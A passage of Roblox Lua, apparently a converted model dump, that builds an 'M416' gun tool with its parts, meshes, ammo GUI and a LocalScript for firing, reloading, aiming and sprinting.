BlockMesh19.Scale = Vector3.new(0.210000008, 2.18399978, 1)
706
BlockMesh19.Scale = Vector3.new(0.210000008, 2.18399978, 1)
707
LocalScript20.Name = "Gun_Script"
708
LocalScript20.Parent = Tool0
709
table.insert(cors,sandbox(LocalScript20,function()
710
wait(0.5)
711
--Made by YouTubes--
712
--Edit settings below--
713
local Tool = script.Parent
714
local Settings = {
715
	Range = 1000
716
	,Spread = 5
717
	,Damage = {50, 75}
718
	,HeadShotDamage = {70, 120}
719
	,Bullets = 1
720
	,FireRate = 0.08
721
	,Automatic = true
722
	,AntiTK = true
723
	,ImpactDuration = 3
724
	--Reload
725
	,ReloadKey = "R"
726
	,ReloadTime = 2.5
727
	,Ammo = 30
728
	,IncludeChamberedBullet = true
729
	--Gui
730
	,GuiPos = Vector2.new(script.Gui.Frame.Position.X.Scale, script.Gui.Frame.Position.Y.Scale)
731
	--Arms
732
	,OneHanded = false
733
	,FakeArms = true
734
	,FakeArmTransparency = 0.5
735
	,RightPos = CFrame.new(-0.75, -0.25, 0.5) * CFrame.Angles(math.rad(-90), 0, 0)
736
	,LeftPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-90), math.rad(45), 0)
737
	,AimPart = Tool.AimPart
738
	,AimPartOffset = CFrame.new()
739
	,AimGripOffset = Vector3.new(0, 0, 0)
740
	,LeftAimPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-100), math.rad(45), 0)
741
	,AimAnim = {
742
		Enabled = false
743
		,Frames = 50
744
		,Time = 0.1
745
	}
746
	,ChangeFOV = {true, 60}
747
	,SpreadReduction = 0
748
	--Weld
749
	,Weld = true
750
	--Mouse
751
	,Icons = {
752
		Idle = "rbxassetid://70288585"
753
		,Fire1 = "rbxassetid://70288578"
754
		,Fire2 = "rbxassetid://70288572"
755
		,Fire3 = "rbxassetid://70288578"
756
		,Reload = "rbxassetid://70288599"
757
		,Aim = "rbxasset://textures/Blank.png"
758
	}
759
	,FireMouseAnimTime = 0.15
760
	--Recoil
761
	,Recoil = math.rad(0.7)
762
	--Smoke
763
	,Smoke = true
764
	,SmokePart = Tool.SmokePart
765
	,Smokes = {{script.Smoke, 6, 0.1}, {script.Smoke1, 0.1}, {script.Smoke1, 0.1}, {script.Flash, 0.03}}
766
	--Sprint
767
	,Sprint = true
768
	,SprintSpeed = 25
769
	,SprintKey = "0"
770
	,SprintSpreadIncrease = 40
771
	,SprintArmOffset = CFrame.new(0.25, 0.125, 0.25) * CFrame.Angles(math.rad(-30), math.rad(35), 0)
772
	--Other
773
	,DropHats = true
774
}
775
776
--Do not edit below this lign--
777
778
local Orig_Spread = Settings.Spread
779
local Orig_Grip = Tool.GripPos
780
781
local Player = game.Players.LocalPlayer
782
local Character = Player.Character
783
784
local Camera = Workspace.CurrentCamera
785
786
local Ammo, StoredAmmo = script.Ammo, script.StoredAmmo
787
788
local Gui, CanUpdateGui = nil, true
789
790
local Sprinting, Equipped
791
792
function Update_Gui()
793
	if Gui and CanUpdateGui then
794
		Gui.Frame.AmmoDisplay.Text = Ammo.Value .. "|" .. StoredAmmo.Value
795
	end
796
end
797
798
local Welded
799
if Settings.Weld then
800
	Delay(0, function()
801
		local weldC0s = {}
802
		for i, v in pairs(Tool:GetChildren()) do
803
			if v:IsA("BasePart") and v ~= Tool.Handle then
804
				table.insert(weldC0s, {v, Tool.Handle.CFrame:toObjectSpace(v.CFrame)})
805
				v.Anchored = false
806
			end
807
		end
808
		Tool.Handle.Anchored = false
809
		local welds = {}
810
		Tool.Equipped:connect(function()
811
			for i, v in ipairs(welds) do
812
				v.Part1 = nil
813
				v:Destroy()
814
			end
815
			for i, v in ipairs(weldC0s) do
816
				if v[1] and v[2] then
817
					local w = Instance.new("Weld", Tool.Handle)
818
					w.Part0 = Tool.Handle
819
					w.Part1 = v[1]
820
					w.C0 = v[2]
821
					table.insert(welds, w)
822
				end
823
			end
824
		end)
825
		wait()
826
		Welded = true
827
	end)
828
end
829
830
local Left_Weld, Right_Weld
831
832
Ammo.Changed:connect(Update_Gui)
833
StoredAmmo.Changed:connect(Update_Gui)
834
835
Settings.Range = math.min(Settings.Range, 999)
836
837
local Ignore_Model = Workspace:FindFirstChild("Ray_Ignore") or Instance.new("Model", Workspace)
838
Ignore_Model.Name = "Ray_Ignore"
839
840
local Ray_Ignore = {Character, Ignore_Model, Camera}
841
842
Character.Humanoid.Died:connect(function()
843
	Tool.Parent = Player.Backpack
844
end)
845
846
function Fire(Mouse)
847
	local Spread = CFrame.Angles(math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10))
848
	local Ray = Ray.new(Character.Head.Position, (CFrame.new(Character.Head.Position, Mouse.Hit.p) * Spread).lookVector.unit * Settings.Range)
849
	local Hit, Pos = Workspace:FindPartOnRayWithIgnoreList(Ray, Ray_Ignore)
850
	if Hit and Hit.Parent:FindFirstChild("Humanoid") then
851
		local Hit_Player = game.Players:GetPlayerFromCharacter(Hit.Parent)
852
		if Settings.AntiTK and not Hit_Player.Neutral and Hit_Player.TeamColor == Player.TeamColor then
853
			return
854
		end
855
		local Humanoid = Hit.Parent.Humanoid
856
		local c = Instance.new("ObjectValue")
857
		c.Name = "creator"
858
		c.Value = Player
859
		game.Debris:AddItem(c, 3)
860
		c.Parent = Humanoid
861
		if Hit.Name == "Head" then
862
			Humanoid.Health = Humanoid.Health - math.random(Settings.HeadShotDamage[1], Settings.HeadShotDamage[2])
863
		else
864
			Humanoid.Health = Humanoid.Health - math.random(Settings.Damage[1], Settings.Damage[2])
865
		end
866
	elseif Hit then
867
		local Hit_Part = Instance.new("Part", Ignore_Model)
868
		Hit_Part.FormFactor = "Custom"
869
		Hit_Part.TopSurface = 0
870
		Hit_Part.BottomSurface = 0
871
		Hit_Part.Anchored = true
872
		Hit_Part.CanCollide = false
873
		Hit_Part.Size = Vector3.new()
874
		Hit_Part.CFrame = CFrame.new(Pos) * CFrame.Angles(math.random(0, 360), math.random(0, 360), math.random(0, 360))
875
		Hit_Part.BrickColor = BrickColor.new("Black")
876
		game.Debris:AddItem(Hit_Part, Settings.ImpactDuration)
877
		if not Hit.Anchored then
878
			local w = Instance.new("Weld", Hit_Part)
879
			w.Part0 = Hit
880
			w.Part1 = Hit_Part
881
			w.C0 = Hit.CFrame:toObjectSpace(Hit_Part.CFrame)
882
			Hit_Part.Anchored = false
883
		end
884
		if Hit.Parent:IsA("Hat") and Settings.DropHats then
885
			Hit.Parent.Parent = workspace
886
			game.Debris:AddItem(Hit, 3)
887
		end
888
	end
889
end
890
891
local Can_Shoot = true
892
local Reloading = false
893
894
local First_Person = false
895
896
local Mouse_Held
897
898
Tool.Equipped:connect(function(Mouse)
899
	Equipped = true
900
	if Settings.Weld and not Welded then
901
		wait()
902
		Tool.Parent = Player.Backpack
903
	end
904
	Character = Player.Character
905
	if Gui then
906
		return
907
	end
908
	Ray_Ignore = {Character, Ignore_Model, Camera}
909
	Mouse.Icon = Settings.Icons.Idle
910
	Gui = script.Gui:Clone()
911
	Gui.Parent = Player.PlayerGui
912
	Gui.Frame.Position = UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, 1.1, Gui.Frame.Position.Y.Offset)
913
	Gui.Frame:TweenPosition(UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, Settings.GuiPos.Y, Gui.Frame.Position.Y.Offset), "Out", "Bounce", 1)
914
	CanUpdateGui = true
915
	Update_Gui()
916
	Mouse.Button1Down:connect(function()
917
		if Can_Shoot and Ammo.Value > 0 and Character.Humanoid.Health > 0 then
918
			Mouse_Held = true
919
			while true do
920
				Can_Shoot = false
921
				Delay(0, function()
922
					local t = math.min(Settings.FireMouseAnimTime/3, Settings.FireRate/3)
923
					if not Aiming then
924
						Mouse.Icon = Settings.Icons.Fire1
925
					end
926
					wait(t)
927
					if not Aiming then
928
						if Reloading then return end
929
						Mouse.Icon = Settings.Icons.Fire2
930
					end
931
					wait(t)
932
					if not Aiming then
933
						if Reloading then return end
934
						Mouse.Icon = Settings.Icons.Fire3
935
					end
936
					wait(t)
937
					if not Aiming then
938
						if Reloading then return end
939
						Mouse.Icon = Settings.Icons.Idle
940
					end
941
				end)
942
				if Settings.Smoke then
943
					for i, v in pairs(Settings.Smokes) do
944
						local s = v[1]:Clone()
945
						s.Parent = Settings.SmokePart
946
						s.Enabled = true
947
						game.Debris:AddItem(s, v[2])
948
						if v[3] then
949
							Delay(v[3], function()
950
								s.Enabled = false
951
							end)
952
						end
953
					end
954
				end
955
				for _ = 1, Settings.Bullets do
956
					pcall(function() Fire(Mouse) end)
957
				end
958
				Camera.CoordinateFrame = CFrame.new(Camera.Focus.p) * (Camera.CoordinateFrame - Camera.CoordinateFrame.p) * CFrame.Angles(math.abs(Settings.Recoil), 0, 0) * CFrame.new(0, 0, (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude)
959
				if Tool.Handle:FindFirstChild("Shoot") then
960
					Tool.Handle.Shoot:Play()
961
				end
962
				Ammo.Value = Ammo.Value - 1
963
				wait(Settings.FireRate)
964
				if not Settings.Automatic or Ammo.Value <= 0 or Character.Humanoid.Health <= 0 or not Mouse_Held then
965
					break
966
				end
967
			end
968
			Can_Shoot = true
969
		elseif Can_Shoot and Character.Humanoid.Health > 0 and Tool.Handle:FindFirstChild("Click") then
970
			Tool.Handle.Click:Play()
971
		end
972
	end)
973
	Mouse.Button1Up:connect(function()
974
		Mouse_Held = false
975
	end)
976
	Mouse.KeyDown:connect(function(Key)
977
		if Key:upper() == Settings.ReloadKey:upper() and Can_Shoot and StoredAmmo.Value > 0 and not Aiming then
978
			if Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo + 1 or not Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo then
979
				return
980
			end
981
			Can_Shoot = false
982
			Reloading = true
983
			local TextLabel = Gui.Frame.AmmoDisplay
984
			Delay(0, function()
985
				CanUpdateGui = false
986
				TextLabel.Text = "Reloading."
987
				wait(Settings.ReloadTime/3)
988
				if TextLabel then
989
					TextLabel.Text = "Reloading.."
990
				end
991
				wait(Settings.ReloadTime/3)
992
				if TextLabel then
993
					TextLabel.Text = "Reloading..."
994
				end
995
			end)
996
			if Tool.Handle:FindFirstChild("Reload") then
997
				Tool.Handle.Reload:Play()
998
			end
999
			Mouse.Icon = Settings.Icons.Reload
1000
			wait(Settings.ReloadTime)
1001
			Mouse.Icon = Settings.Icons.Idle
1002
			CanUpdateGui = true
1003
			local m = Settings.Ammo
1004
			if Ammo.Value > 0 and Settings.IncludeChamberedBullet then
1005
				m = m + 1
1006
			end
1007
			if (StoredAmmo.Value - (m - Ammo.Value)) <= 0 then
1008
				Ammo.Value = Ammo.Value + StoredAmmo.Value
1009
				StoredAmmo.Value = 0
1010
			else
1011
				StoredAmmo.Value = StoredAmmo.Value - (m - Ammo.Value)
1012
				Ammo.Value = m
1013
			end
1014
			Can_Shoot = true
1015
			Reloading = false
1016
		elseif Key:upper() == Settings.SprintKey:upper() and Settings.Sprint and not Aiming then
1017
			Sprinting = true
1018
			Character.Humanoid.WalkSpeed = Settings.SprintSpeed
1019
			Settings.Spread = Settings.Spread + Settings.SprintSpreadIncrease
1020
		end
1021
	end)
1022
	Mouse.KeyUp:connect(function(Key)
1023
		if Key:upper() == Settings.SprintKey:upper() and Sprinting then
1024
			Sprinting = false
1025
			Character.Humanoid.WalkSpeed = 16
1026
			Settings.Spread = Settings.Spread - Settings.SprintSpreadIncrease
1027
			Right_Weld.C0 = CFrame.new(0, -1.5, 0)
1028
		end
1029
	end)
1030
	Mouse.Button2Down:connect(function()
1031
		if not Reloading and not Sprinting and not Aiming and (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 then
1032
			Aiming = true
1033
			Mouse.Icon = Settings.Icons.Aim
1034
			Right_Weld.C1 = CFrame.new()
1035
			Right_Weld.C0 = CFrame.new()
1036
			Right_Weld.C1 = Character.Head.CFrame:toObjectSpace(Settings.AimPart.CFrame)
1037
			Left_Weld.C1 = Settings.LeftAimPos
1038
			if Settings.ChangeFOV[1] then
1039
				Camera.FieldOfView = Settings.ChangeFOV[2]
1040
			end
1041
			Tool.GripPos = Orig_Grip + Settings.AimGripOffset
1042
			Settings.Spread = Settings.Spread - Settings.SpreadReduction
1043
		end
1044
	end)
1045
	Mouse.Button2Up:connect(function()
1046
		if Aiming then
1047
			Mouse.Icon = Settings.Icons.Idle
1048
			Tool.GripPos = Orig_Grip
1049
			Right_Weld.C1 = Settings.RightPos
1050
			Right_Weld.C0 = CFrame.new(0, -1.5, 0)
1051
			Left_Weld.C1 = Settings.LeftPos
1052
			if Settings.ChangeFOV[1] then
1053
				Camera.FieldOfView = 70
1054
			end
1055
			Settings.Spread = Settings.Spread + Settings.SpreadReduction
1056
			Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
1057
			Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
1058
			wait(0.25)
1059
			Aiming = false
1060
		end
1061
	end)
1062
	wait()
1063
	Camera.Changed:connect(function()
1064
		if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
1065
			Mouse.TargetFilter = workspace
1066
			Character.Torso.Neck.C1 = CFrame.new()
1067
			Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
1068
		end
1069
	end)
1070
	Mouse.Idle:connect(function()
1071
		if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
1072
			Mouse.TargetFilter = workspace
1073
			Character.Torso.Neck.C1 = CFrame.new()
1074
			Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
1075
		end
1076
	end)
1077
	while wait() and Equipped do
1078
		if Sprinting then
1079
			Right_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
1080
			Left_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
1081
		elseif not Aiming then
1082
			Left_Weld.C0 = CFrame.new(0, -1.5, 0)
1083
		end
1084
		if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude > 1 and Equipped then
1085
			Mouse.TargetFilter = nil
1086
			Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
1087
			Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
1088
		end
1089
	end
1090
end)
1091
1092
local Arms_Made
1093
local Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model
1094
1095
Tool.Equipped:connect(function(Mouse)
1096
	if Character and not Arms_Made then
1097
		Arms_Made = true
1098
		local Torso = Character.Torso
1099
		Torso["Right Shoulder"].Part1 = nil
1100
		Left_Weld = Instance.new("Weld", Torso)
1101
		Left_Weld.Name = "Left_Weld"
1102
		Left_Weld.Part0 = Character.Head
1103
		Left_Weld.C0 = CFrame.new(0, -1.5, 0)
1104
		if not Settings.OneHanded then
1105
			Torso["Left Shoulder"].Part1 = nil
1106
			Left_Weld.Part1 = Character["Left Arm"]
1107
		end
1108
		Right_Weld = Instance.new("Weld", Torso)
1109
		Right_Weld.Name = "Right_Weld"
1110
		Right_Weld.Part0 = Character.Head
1111
		Right_Weld.Part1 = Character["Right Arm"]
1112
		Right_Weld.C0 = CFrame.new(0, -1.5, 0)
1113
		Left_Weld.C1 = Settings.LeftPos
1114
		Right_Weld.C1 = Settings.RightPos
1115
	end
1116
	if Settings.FakeArms and not Fake_Arm_Right then
1117
		Fake_Arm_Right, Fake_Arm_Left = Character["Right Arm"]:Clone(), Character["Left Arm"]:Clone()
1118
		Fake_Arm_Right.FormFactor, Fake_Arm_Left.FormFactor = "Custom", "Custom"
1119
		Fake_Arm_Right.Size, Fake_Arm_Left.Size = Vector3.new(), Vector3.new()
1120
		local fakeArms = {Fake_Arm_Right, Fake_Arm_Left}
1121
		for i = 1, 2 do
1122
			local w = Instance.new("Weld", fakeArms[i])
1123
			w.Part0 = Character[fakeArms[i].Name]
1124
			w.Part1 = fakeArms[i]
1125
			fakeArms[i].Transparency = Settings.FakeArmTransparency
1126
		end
1127
		Fake_Arm_Model = Instance.new("Model", Camera)
1128
		Fake_Arm_Right.Parent = Fake_Arm_Model
1129
		if not Settings.OneHanded then
1130
			Fake_Arm_Left.Parent = Fake_Arm_Model
1131
		end
1132
		Fake_Arm_Model.Name = "FakeArms"
1133
		if Settings.CharacterMeshes then
1134
			for i, v in pairs(Character:GetChildren()) do
1135
				if v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.LeftArm or v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.RightArm then
1136
					v:Clone().Parent = Fake_Arm_Model
1137
				end
1138
			end
1139
		end
1140
		if Character:FindFirstChild("Shirt") then
1141
			Instance.new("Humanoid", Fake_Arm_Model)
1142
			Character.Shirt:Clone().Parent = Fake_Arm_Model
1143
		else
1144
			local Arm_Mesh = Instance.new("SpecialMesh", Fake_Arm_Right)
1145
			Arm_Mesh.MeshType, Arm_Mesh.Scale = "Brick", Vector3.new(5, 10, 5)
1146
			local Arm_Mesh2 = Instance.new("SpecialMesh", Fake_Arm_Left)
1147
			Arm_Mesh2.MeshType, Arm_Mesh2.Scale = "Brick", Vector3.new(5, 10, 5)
1148
		end
1149
	end
1150
end)
1151
1152
Tool.Unequipped:connect(function()
1153
	Equipped = false
1154
	Tool.GripPos = Orig_Grip
1155
	Aiming = false
1156
	Settings.Spread = Orig_Spread
1157
	if Settings.ChangeFOV[1] then
1158
		Camera.FieldOfView = 70
1159
	end
1160
	if Gui then
1161
		Gui:Destroy()
1162
		Gui = nil
1163
	end
1164
	for i, v in pairs(Tool.Handle:GetChildren()) do
1165
		if v:IsA("Sound") then
1166
			v:Stop()
1167
		end
1168
	end
1169
	if Fake_Arm_Right and Fake_Arm_Left and Fake_Arm_Model then
1170
		Fake_Arm_Model:Destroy()
1171
		Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model = nil, nil, nil
1172
	end
1173
	if Character and Left_Weld and Right_Weld then
1174
		Arms_Made = false
1175
		local Torso = Character.Torso
1176
		Torso["Right Shoulder"].Part1, Torso["Left Shoulder"].Part1 = Character["Right Arm"], Character["Left Arm"]
1177
		Left_Weld:Destroy()
1178
		Right_Weld:Destroy()
1179
	end
1180
	Sprinting = false
1181
	Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
1182
	Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
1183
	Character.Humanoid.WalkSpeed = 16
1184
end)
1185
1186
end))
1187
NumberValue21.Name = "Ammo"
1188
NumberValue21.Parent = LocalScript20
1189
NumberValue21.Value = 31
1190
NumberValue22.Name = "StoredAmmo"
1191
NumberValue22.Parent = LocalScript20
1192
NumberValue22.Value = 400
1193
Smoke23.Parent = LocalScript20
1194
Smoke23.Size = 0.25
1195
Smoke23.Color = Color3.new(0.372549, 0.372549, 0.372549)
1196
Smoke23.Enabled = false
1197
Smoke23.Opacity = 0.10000000149012
1198
Smoke23.Color = Color3.new(0.372549, 0.372549, 0.372549)
1199
Smoke24.Name = "Smoke1"
1200
Smoke24.Parent = LocalScript20
1201
Smoke24.Size = 0.10000000149012
1202
Smoke24.Color = Color3.new(1, 0.6, 0.2)
1203
Smoke24.Enabled = false
1204
Smoke24.Opacity = 0.40000000596046
1205
Smoke24.Color = Color3.new(1, 0.6, 0.2)
1206
PointLight25.Name = "Flash"
1207
PointLight25.Parent = LocalScript20
1208
PointLight25.Color = Color3.new(0.772549, 0.384314, 0)
1209
PointLight25.Brightness = 10
1210
PointLight25.Range = 10
1211
PointLight25.Shadows = true
1212
PointLight25.Color = Color3.new(0.772549, 0.384314, 0)
1213
ScreenGui26.Name = "Gui"
1214
ScreenGui26.Parent = LocalScript20
1215
Frame27.Parent = ScreenGui26
1216
Frame27.Transparency = 0.5
1217
Frame27.Size = UDim2.new(0, 120, 0, 35)
1218
Frame27.Position = UDim2.new(1, -150, 1, -44)
1219
Frame27.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
1220
Frame27.BackgroundTransparency = 0.5
1221
Frame27.BorderSizePixel = 3
1222
TextLabel28.Name = "AmmoDisplay"
1223
TextLabel28.Parent = Frame27
1224
TextLabel28.Transparency = 1
1225
TextLabel28.Size = UDim2.new(1, 0, 1, 0)
1226
TextLabel28.Text = ""
1227
TextLabel28.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
1228
TextLabel28.BackgroundTransparency = 1
1229
TextLabel28.Font = Enum.Font.SourceSansBold
1230
TextLabel28.FontSize = Enum.FontSize.Size24
1231
TextLabel28.TextColor3 = Color3.new(0, 0, 0)
1232
TextLabel28.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
1233
TextLabel28.TextStrokeTransparency = 0.5
1234
TextLabel28.TextXAlignment = Enum.TextXAlignment.Right
1235
Frame29.Parent = ScreenGui26
1236
Frame29.Transparency = 0.5
1237
Frame29.Size = UDim2.new(0, 126, 0, 10)
1238
Frame29.Position = UDim2.new(1, -153, 1, -62)
1239
Frame29.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
1240
Frame29.BackgroundTransparency = 0.5
1241
Frame29.BorderSizePixel = 3
1242
TextLabel30.Name = "Caliber"
1243
TextLabel30.Parent = Frame29
1244
TextLabel30.Transparency = 1
1245
TextLabel30.Size = UDim2.new(1, 0, 1, 0)
1246
TextLabel30.Text = "Made by 1ndrew"
1247
TextLabel30.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
1248
TextLabel30.BackgroundTransparency = 1
1249
TextLabel30.Font = Enum.Font.SourceSansBold
1250
TextLabel30.FontSize = Enum.FontSize.Size28
1251
TextLabel30.TextColor3 = Color3.new(0, 0, 0)
1252
TextLabel30.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
1253
TextLabel30.TextStrokeTransparency = 0.5
1254
TextLabel30.TextXAlignment = Enum.TextXAlignment.Right
1255
Frame31.Parent = ScreenGui26
1256
Frame31.Transparency = 0.5
1257
Frame31.Size = UDim2.new(0, 126, 0, 40)
1258
Frame31.Position = UDim2.new(1, -153, 1, -109)
1259
Frame31.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
1260
Frame31.BackgroundTransparency = 0.5
1261
Frame31.BorderSizePixel = 3
1262
TextLabel32.Name = "Accessories"
1263
TextLabel32.Parent = Frame31
1264
TextLabel32.Transparency = 1
1265
TextLabel32.Size = UDim2.new(1, 0, 1, 0)
1266
TextLabel32.Text = "M416"
1267
TextLabel32.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
1268
TextLabel32.BackgroundTransparency = 1
1269
TextLabel32.Font = Enum.Font.SourceSansBold
1270
TextLabel32.FontSize = Enum.FontSize.Size14
1271
TextLabel32.TextColor3 = Color3.new(0, 0, 0)
1272
TextLabel32.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
1273
TextLabel32.TextStrokeTransparency = 0.5
1274
TextLabel32.TextXAlignment = Enum.TextXAlignment.Right
1275
Part33.Parent = Tool0
1276
Part33.Material = Enum.Material.SmoothPlastic
1277
Part33.BrickColor = BrickColor.new("Mid gray")
1278
Part33.Rotation = Vector3.new(-90, 0, 179.459991)
1279
Part33.Anchored = true
1280
Part33.FormFactor = Enum.FormFactor.Custom
1281
Part33.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1282
Part33.CFrame = CFrame.new(27.0690918, 1.65112305, 138.333984, -0.999955833, -0.00939139724, -2.45538843e-08, 1.02097069e-07, -3.55030458e-08, 0.999999821, -0.00939165056, 0.999955356, 3.52667371e-08)
1283
Part33.BottomSurface = Enum.SurfaceType.Smooth
1284
Part33.TopSurface = Enum.SurfaceType.Smooth
1285
Part33.Color = Color3.new(0.803922, 0.803922, 0.803922)
1286
Part33.Position = Vector3.new(27.0690918, 1.65112305, 138.333984)
1287
Part33.Orientation = Vector3.new(-89.9700012, -34.8499985, 109.169998)
1288
Part33.Color = Color3.new(0.803922, 0.803922, 0.803922)
1289
CylinderMesh34.Parent = Part33
1290
CylinderMesh34.Offset = Vector3.new(0, 0.0120000001, 0)
1291
CylinderMesh34.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
1292
CylinderMesh34.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
1293
Part35.Parent = Tool0
1294
Part35.Material = Enum.Material.SmoothPlastic
1295
Part35.BrickColor = BrickColor.new("Mid gray")
1296
Part35.Rotation = Vector3.new(-90, 0, 179.459991)
1297
Part35.Anchored = true
1298
Part35.FormFactor = Enum.FormFactor.Custom
1299
Part35.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1300
Part35.CFrame = CFrame.new(27.1169434, 1.65112305, 138.33429, -0.999955833, -0.00939139724, -2.45538843e-08, 1.02097069e-07, -3.55030458e-08, 0.999999821, -0.00939165056, 0.999955356, 3.52667371e-08)
1301
Part35.BottomSurface = Enum.SurfaceType.Smooth
1302
Part35.TopSurface = Enum.SurfaceType.Smooth
1303
Part35.Color = Color3.new(0.803922, 0.803922, 0.803922)
1304
Part35.Position = Vector3.new(27.1169434, 1.65112305, 138.33429)
1305
Part35.Orientation = Vector3.new(-89.9700012, -34.8499985, 109.169998)
1306
Part35.Color = Color3.new(0.803922, 0.803922, 0.803922)
1307
CylinderMesh36.Parent = Part35
1308
CylinderMesh36.Offset = Vector3.new(0, 0.0120000001, 0)
1309
CylinderMesh36.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
1310
CylinderMesh36.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
1311
Part37.Parent = Tool0
1312
Part37.Material = Enum.Material.SmoothPlastic
1313
Part37.BrickColor = BrickColor.new("Dark stone grey")
1314
Part37.Reflectance = 0.050000000745058
1315
Part37.Rotation = Vector3.new(-180, -89.4599991, -90)
1316
Part37.Anchored = true
1317
Part37.FormFactor = Enum.FormFactor.Custom
1318
Part37.Size = Vector3.new(0.209999993, 0.330000013, 0.209999993)
1319
Part37.CFrame = CFrame.new(27.0869141, 1.27026403, 138.981995, 8.71412595e-08, 0.00939127803, -0.999955893, 0.999999881, 2.9562246e-08, 8.74227624e-08, 3.03819299e-08, -0.999955535, -0.00939150155)
1320
Part37.BottomSurface = Enum.SurfaceType.Smooth
1321
Part37.TopSurface = Enum.SurfaceType.Smooth
1322
Part37.Color = Color3.new(0.388235, 0.372549, 0.384314)
1323
Part37.Position = Vector3.new(27.0869141, 1.27026403, 138.981995)
1324
Part37.Orientation = Vector3.new(0, -90.5400009, 90)
1325
Part37.Color = Color3.new(0.388235, 0.372549, 0.384314)
1326
CylinderMesh38.Parent = Part37
1327
CylinderMesh38.Scale = Vector3.new(1.10000002, 1, 1)
1328
CylinderMesh38.Scale = Vector3.new(1.10000002, 1, 1)
1329
Part39.Parent = Tool0
1330
Part39.Material = Enum.Material.SmoothPlastic
1331
Part39.BrickColor = BrickColor.new("Dark stone grey")
1332
Part39.Rotation = Vector3.new(-89.4599991, 45, 89.2399979)
1333
Part39.Anchored = true
1334
Part39.FormFactor = Enum.FormFactor.Custom
1335
Part39.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1336
Part39.CFrame = CFrame.new(27.0773926, 1.66210902, 138.345764, 0.00939139724, -0.707075477, 0.707075417, 3.55030458e-08, 0.70710659, 0.707106471, -0.999955356, -0.00664065778, 0.00664073229)
1337
Part39.BottomSurface = Enum.SurfaceType.Smooth
1338
Part39.TopSurface = Enum.SurfaceType.Smooth
1339
Part39.Color = Color3.new(0.388235, 0.372549, 0.384314)
1340
Part39.Position = Vector3.new(27.0773926, 1.66210902, 138.345764)
1341
Part39.Orientation = Vector3.new(-45, 89.4599991, 0)
1342
Part39.Color = Color3.new(0.388235, 0.372549, 0.384314)
1343
BlockMesh40.Parent = Part39
1344
BlockMesh40.Offset = Vector3.new(0, 0, 0.00300000003)
1345
BlockMesh40.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
1346
BlockMesh40.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
1347
Part41.Parent = Tool0
1348
Part41.Material = Enum.Material.SmoothPlastic
1349
Part41.BrickColor = BrickColor.new("Black")
1350
Part41.Reflectance = 0.050000000745058
1351
Part41.Rotation = Vector3.new(-180, 0.539999962, -180)
1352
Part41.Anchored = true
1353
Part41.FormFactor = Enum.FormFactor.Custom
1354
Part41.Size = Vector3.new(0.200000003, 0.200000003, 0.99000001)
1355
Part41.CFrame = CFrame.new(27.0887451, 1.39013696, 138.7724, -0.999955893, 8.71412595e-08, 0.00939127803, 8.74227624e-08, 0.999999881, 2.9562246e-08, -0.00939150155, 3.03819299e-08, -0.999955535)
1356
Part41.BottomSurface = Enum.SurfaceType.Smooth
1357
Part41.TopSurface = Enum.SurfaceType.Smooth
1358
Part41.Color = Color3.new(0.105882, 0.164706, 0.207843)
1359
Part41.Position = Vector3.new(27.0887451, 1.39013696, 138.7724)
1360
Part41.Orientation = Vector3.new(0, 179.459991, 0)
1361
Part41.Color = Color3.new(0.105882, 0.164706, 0.207843)
1362
BlockMesh42.Parent = Part41
1363
